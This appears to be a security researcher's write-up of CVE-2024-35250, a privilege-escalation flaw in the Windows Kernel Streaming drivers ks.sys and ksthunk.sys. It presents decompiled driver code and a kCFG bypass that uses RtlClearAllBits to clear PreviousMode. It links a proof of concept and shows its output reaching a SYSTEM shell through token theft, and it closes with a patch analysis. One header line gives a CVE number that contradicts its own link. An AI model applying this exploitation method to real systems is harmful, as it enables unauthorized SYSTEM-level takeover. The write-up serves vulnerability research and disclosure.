CVE-2024-35250 - Windows Kernel Streaming Driver Elevation of Privilege Vulnerability
A logic flaw in the Microsoft Kernel Streaming driver (ks.sys
) cIOCTL_KS_PROPERTY handler: its UnserializePropertySet path copies a user-provided request and re-issues the IOCTL in kernel mode. By sending a specially crafted IOCTL_KS_PROPERTY request with the KSPROPERTY_TYPE_UNSERIALIZESET flag, an attacker can trigger this path and force the driver to execute the IOCTL again with Irp->RequestorMode = Kernel, effectively granting an arbitrary kernel-mode IOCTL primitive for privilege escalation.
CVE-2025-30084: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-35250
Vulnerability Type: Untrusted Pointer Dereference
Tested On: Windows 11 23H2
Driver Version: ks.sys - 10.0.22621.2506
Vulnerability analysis
The vulnerability exists in the KspPropertyHandler()
function, which is responsible for handling the IOCTL call made to the ks.sys
driver. The KspPropertyHandler()
function invokes the UnserializePropertySet()
function, passing down the Irp
. This function is called only if v24
is set to 4096 (0x1000), which corresponds to the flags defined in KSPROPERTY for IOCTL_KS_PROPERTY
.
NTSTATUS __fastcall KspPropertyHandler(
PIRP Irp,
unsigned int a2,
struct _LIST_ENTRY *a3,
__int64 (__fastcall *a4)(_QWORD, _QWORD, _QWORD),
int a5,
__int64 a6,
unsigned int a7)
{
struct _LIST_ENTRY *v7; // r11
struct _IO_STACK_LOCATION *CurrentStackLocation; // rdi
[::]
if ( v24 <= 0x2000 )
{
if ( v24 != 0x2000 )
{
if ( v24 == 256 )
return 0;
if ( v24 != 512 )
{
if ( v24 == 2048 )
return SerializePropertySet(Irp, v22, (__int64)v7, v28);
if ( v24 == 4096 )
return UnserializePropertySet(Irp, v22, (__int64)v7); // Vulnerable function call
goto LABEL_99;
}
[::]
The flag value, as confirmed from ReactOS, indicates that if KSPROPERTY→Flags is set to
KSPROPERTY_TYPE_UNSERIALIZESET
, theUnserializePropertySet()
function is invoked.
Inside the UnserializePropertySet()
function, a NonPaged-NoExecute pool is allocated, and the user input buffer is then copied into this newly allocated region. It subsequently calls the KsSynchronousIoControlDevice()
function with the user inputs (InBuffer
, OutBuffer
). This function performs another IOCTL call using the same IoControlCode
as an argument. Additionally, the second argument is RequestorMode
which is hardcoded to KernelMode (0), and this is where things start to go wrong.
__int64 __fastcall UnserializePropertySet(IRP *irp, __int64 a2, __int64 a3)
{
_QWORD *SystemBuffer; // rdi
struct _IO_STACK_LOCATION *CurrentStackLocation; // r13
unsigned int OutputBufferLength; // ebx
_DWORD *InBuffer; // rsi
int v9; // r14d
char *v10; // rdi
unsigned int v11; // ebx
char *v12; // r15
unsigned int v13; // ebx
char *OutBuffer; // rdi
ULONG OutSize; // eax
NTSTATUS v16; // r12d
__int64 v17; // rax
ULONG InSize; // [rsp+88h] [rbp+10h]
ULONG BytesReturned; // [rsp+98h] [rbp+20h] BYREF
if ( *(_DWORD *)(a2 + 16) )
return 3221225485LL;
SystemBuffer = irp->AssociatedIrp.SystemBuffer;
CurrentStackLocation = irp->Tail.Overlay.CurrentStackLocation;
InSize = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;
OutputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength;
InBuffer = ExAllocatePoolWithTag(NonPagedPoolNx, InSize, 0x7070534Bu); // Allocates a NonPaged-NoExecute pool
if ( !InBuffer )
return 3221225626LL;
if ( OutputBufferLength < 0x14 )
{
LABEL_23:
ExFreePoolWithTag(InBuffer, 0);
return 3221225990LL;
}
else
{
if ( **(_QWORD **)a3 != *SystemBuffer || *(_QWORD *)(*(_QWORD *)a3 + 8LL) != SystemBuffer[1] )
{
LABEL_22:
ExFreePoolWithTag(InBuffer, 0);
return 3221225485LL;
}
memmove(InBuffer, CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer, InSize); // Copies the user input buffer to the newly allocated region
InBuffer[5] = 2;
v9 = *((_DWORD *)SystemBuffer + 4);
v10 = (char *)SystemBuffer + 20;
v11 = OutputBufferLength - 20;
while ( v11 && v9 )
{
if ( v11 < 0x20 )
goto LABEL_23;
v12 = v10;
if ( *((_DWORD *)v10 + 5) )
goto LABEL_22;
InBuffer[4] = *((_DWORD *)v10 + 6);
v13 = v11 - 32;
OutBuffer = v10 + 32;
OutSize = *((_DWORD *)v12 + 7);
if ( OutSize > v13 )
goto LABEL_23;
v16 = KsSynchronousIoControlDevice( // Vulnerable IOCTL call
CurrentStackLocation->FileObject,
0, // RequestorMode as KernelMode (0)
CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode,
InBuffer,
InSize,
OutBuffer,
OutSize,
&BytesReturned);
if ( v16 < 0 )
{
ExFreePoolWithTag(InBuffer, 0);
return (unsigned int)v16;
}
v17 = *((unsigned int *)v12 + 7);
if ( (unsigned int)v17 < v13 )
{
v17 = ((_DWORD)v17 + 3) & 0xFFFFFFFC;
*((_DWORD *)v12 + 7) = v17;
if ( (unsigned int)v17 >= v13 )
goto LABEL_23;
}
v10 = &OutBuffer[v17];
v11 = v13 - v17;
--v9;
}
ExFreePoolWithTag(InBuffer, 0);
if ( v11 )
return 3221225476LL;
else
return v9 != 0 ? 0xC0000004 : 0;
}
}
The purpose of the KsSynchronousIoControlDevice()
function is to create an IRP with the user supplied input with RequestorMode
as KernelMode (0)
and send it to the driver associated with the specified device object. This means it makes an IOCTL call (IOCTL_KS_PROPERTY
) as KernelMode. If this behavior can be abused, it may allow the execution of higher-privileged operations.
NTSTATUS __stdcall KsSynchronousIoControlDevice(
PFILE_OBJECT FileObject,
KPROCESSOR_MODE RequestorMode,
ULONG IoControl,
PVOID InBuffer,
ULONG InSize,
PVOID OutBuffer,
ULONG OutSize,
PULONG BytesReturned)
{
__int64 v12; // rdx
PDEVICE_OBJECT RelatedDeviceObject; // rsi
PIRP v14; // rax
IRP *v15; // rbx
struct _IO_STACK_LOCATION *CurrentStackLocation; // rax
NTSTATUS Status; // edx
PFAST_IO_DISPATCH FastIoDispatch; // rax
unsigned __int8 (__fastcall *FastIoDeviceControl)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD, _DWORD, _QWORD, _QWORD); // rax
struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+50h] [rbp-48h] BYREF
struct _KEVENT Event; // [rsp+60h] [rbp-38h] BYREF
memset(&Event, 0, sizeof(Event));
IoStatusBlock = 0LL;
RelatedDeviceObject = IoGetRelatedDeviceObject(FileObject);
if ( (RequestorMode || !ExGetPreviousMode())
&& (FastIoDispatch = RelatedDeviceObject->DriverObject->FastIoDispatch) != 0LL
&& (FastIoDeviceControl = (unsigned __int8 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD, _DWORD, _QWORD, _QWORD))FastIoDispatch->FastIoDeviceControl) != 0LL
&& (LOBYTE(v12) = 1,
FastIoDeviceControl(
FileObject,
v12,
InBuffer,
InSize,
OutBuffer,
OutSize,
IoControl,
&IoStatusBlock,
RelatedDeviceObject)) )
{
*BytesReturned = IoStatusBlock.Information;
return IoStatusBlock.Status;
}
else
{
KeInitializeEvent(&Event, NotificationEvent, 0);
v14 = IoBuildDeviceIoControlRequest( // Creates an IRP with user inputs
IoControl,
RelatedDeviceObject,
InBuffer,
InSize,
OutBuffer,
OutSize,
0,
&Event,
&IoStatusBlock);
v15 = v14;
if ( !v14 )
return -1073741670;
v14->RequestorMode = RequestorMode; // KernelMode (0)
v14->Tail.Overlay.OriginalFileObject = FileObject;
ObfReferenceObject(FileObject);
CurrentStackLocation = v15->Tail.Overlay.CurrentStackLocation;
v15->Flags |= 4u;
CurrentStackLocation[-1].FileObject = FileObject;
Status = IofCallDriver(RelatedDeviceObject, v15); // Sends an IRP to the driver associated with a specified device object.
if ( Status == 259 )
{
KeWaitForSingleObject(&Event, Suspended, 0, 0, 0LL);
Status = IoStatusBlock.Status;
}
*BytesReturned = IoStatusBlock.Information;
return Status;
}
}
From the above analysis, it is understood that it calls back the same IOCTL, but it does not go directly to ks.sys
. Instead, ksthunk.sys
acts as the entry point in Kernel Streaming. ksthunk.sys is the Microsoft Kernel Streaming WOW64 Thunk Service system driver. Its function is straightforward: it converts 32-bit requests from a WoW64 process into 64-bit requests, enabling the underlying driver to handle them without additional processing for 32-bit structures. Once converted, the request is then passed to the ks.sys
driver.
In the CKSThunkDevice::DispatchIoctl
function of ksthunk.sys
, which serves as the IOCTL handler, it first checks whether the IRP request originates from a 32-bit process. If it does not, it then verifies whether the IoControlCode is 0x2F0003
(IOCTL_KS_PROPERTY
). If this condition is true, it calls the CKSThunkDevice::CheckIrpForStackAdjustmentNative
function.
__int64 __fastcall CKSThunkDevice::DispatchIoctl(CKernelFilterDevice *a1, IRP *IRP, unsigned int a3, int *a4)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rsi
struct CKernelFilterFile *v9; // rax
__int64 v11; // r8
__int64 v12; // rcx
CurrentStackLocation = IRP->Tail.Overlay.CurrentStackLocation;
v9 = CKernelFilterDevice::FileObjectToFilterFile(a1, IRP);
if ( v9 )
return (*(__int64 (__fastcall **)(struct CKernelFilterFile *, IRP *, _QWORD, int *))(*(_QWORD *)v9 + 40LL))(
v9,
IRP,
a3,
a4);
if ( IoIs32bitProcess(IRP) && IRP->RequestorMode )
{
if ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode == 3080195 )
return CKSAutomationThunk::ThunkPropertyIrp((char *)a1 + 64, IRP, v11, a4);
v12 = CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode - 3080199;
if ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode == 3080199 )
return CKSAutomationThunk::ThunkEnableEventIrp(v12, IRP, v11, a4);
if ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode == 3080203 )
return CKSAutomationThunk::ThunkDisableEventIrp(v12, IRP, v11, a4);
}
else if ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode == 0x2F0003 )
{
return CKSThunkDevice::CheckIrpForStackAdjustmentNative((__int64)a1, IRP, v11, a4);
}
return 1LL;
}
The CKSThunkDevice::CheckIrpForStackAdjustmentNative
function checks if the first member of the user input buffer (Type3InputBuffer
) matches a specific GUID. If this condition is met, it proceeds to evaluate the IRP->RequestorMode. When the request originates from UserMode (1)
, the function returns the error code 0xC0000010
(STATUS_INVALID_DEVICE_REQUEST
), indicating the device request is invalid for the target device. If the request comes from KernelMode (0)
, the function enters the else branch, where it treats the user input (Type3InputBuffer
) as a function pointer and invokes it. This is exactly what gets invoked due to the vulnerability of hardcoding RequestorMode as 0 in ks.sys
.
__int64 __fastcall CKSThunkDevice::CheckIrpForStackAdjustmentNative(__int64 a1, struct _IRP *IRP, __int64 a3, int *a4)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rsi
unsigned int v8; // edi
__int64 v9; // r13
unsigned int InputBufferLength; // eax
PVOID Type3InputBuffer; // rdx
unsigned __int64 v12; // r14
unsigned int *UserBuffer; // rcx
int v14; // eax
int v15; // eax
char v16; // dl
__int128 v18; // [rsp+30h] [rbp-68h]
__int64 v19; // [rsp+40h] [rbp-58h]
_QWORD v20[2]; // [rsp+48h] [rbp-50h] BYREF
PFILE_OBJECT FileObject; // [rsp+58h] [rbp-40h]
PFILE_OBJECT v22; // [rsp+60h] [rbp-38h]
char v23; // [rsp+B0h] [rbp+18h]
CurrentStackLocation = IRP->Tail.Overlay.CurrentStackLocation;
v8 = 1;
v9 = *(_QWORD *)(a1 + 56);
v23 = *(_BYTE *)(v9 + 76);
InputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;
if ( InputBufferLength >= 0x18 )
{
if ( IRP->RequestorMode )
ProbeForRead(CurrentStackLocation->Parameters.CreatePipe.Parameters, InputBufferLength, 1u);
Type3InputBuffer = CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer;
v18 = *(_OWORD *)Type3InputBuffer;
v19 = *((_QWORD *)Type3InputBuffer + 2);
v12 = *(_QWORD *)Type3InputBuffer;
if ( *(_OWORD *)Type3InputBuffer == *(_OWORD *)&GUID_2f2c8ddd_4198_4fac_ba29_61bb05b7de06
&& !(_DWORD)v19
&& (v19 & 0x200000000LL) != 0 )
{
if ( IRP->RequestorMode )
{
v14 = 0xC0000010;
}
else
{
UserBuffer = (unsigned int *)IRP->UserBuffer;
v20[0] = 0LL;
v20[1] = v9;
FileObject = CurrentStackLocation->FileObject;
v22 = FileObject;
v14 = (*((__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD *))Type3InputBuffer + 7))(*UserBuffer, 0LL, v20); // Calls user-input pointer due to hardcoded RequestorMode as KernelMode (0) in ks.sys
}
[::]
However, it does not calls the pointer directly, instead it goes through guard_dispatch_icall_fptr
which is a part of Kernel Control-Flow Guard (kCFG). This will block if there is a call to user-space address from kernel-space. The easiest option is to call a nt function, this is where RtlClearAllBits comes into play. This routine sets all bits in a given bitmap variable to zero. We can use this to zero out the current process’s thread’s KTHREAD→PreviousMode, which helps bypass certain security checks and allows making other calls directly.
NTSYSAPI VOID RtlClearAllBits(
[in] PRTL_BITMAP BitMapHeader
);
Exploit
Tested on: Windows 11 23H2
Working POC: https://github.com/ghostbyt3/WinDriver-EXP/tree/main/CVE-2024-35250
PS C:\Users\h4x\Desktop> whoami
desktop-3rgmcon\h4x
PS C:\Users\h4x\Desktop> .\CVE-2024-35250.exe
[+] Successfully opened DRM descrambler device!
[+] NT base address fffff8066ba00000
[+] Found EPROCESS of the current process FFFFBA81E8D130C0
[+] Found KTHREAD of the current thread FFFFBA81E57EE080
[+] Found EPROCESS of the system.exe FFFFBA81E0AB9040
[+] pFakeBitmapAddr = 0x0000000010000000
[+] Calling Kernel Streaming....
[+] Stealing system's Token..
[+] Replacing KTHREAD.PreviousMode as UserMode..
[+] Spawning shell as SYSTEM...
Microsoft Windows [Version 10.0.22631.3593]
(c) Microsoft Corporation. All rights reserved.
C:\Users\h4x\Desktop>whoami
nt authority\system
Patch Analysis
The patched version adds checks to ensure the KSPROPERTY→Set
is not set to KSPROPSETID_DrmAudioStream
.
STATUS __fastcall KspPropertyHandler(
PIRP Irp,
unsigned int a2,
__int64 a3,
__int64 (__fastcall *a4)(_QWORD, _QWORD, _QWORD),
unsigned int a5,
__int64 a6,
unsigned int a7)
{
__int64 v7; // rbx
struct _IO_STACK_LOCATION *CurrentStackLocation; // r15
unsigned int Options; // r10d
[::]
if ( v23 == 4096 )
{
LOBYTE(v20) = (unsigned int)Feature_2849679676__private_IsEnabledDeviceUsage() != 0;
if ( !v20
|| *(_QWORD *)v21 != *(_QWORD *)&KSPROPSETID_DrmAudioStream.Data1
|| *(_QWORD *)(v21 + 8) != *(_QWORD *)KSPROPSETID_DrmAudioStream.Data4 ) // Fix
{
return UnserializePropertySet((__int64)Irp, v21, v7);
}
[::]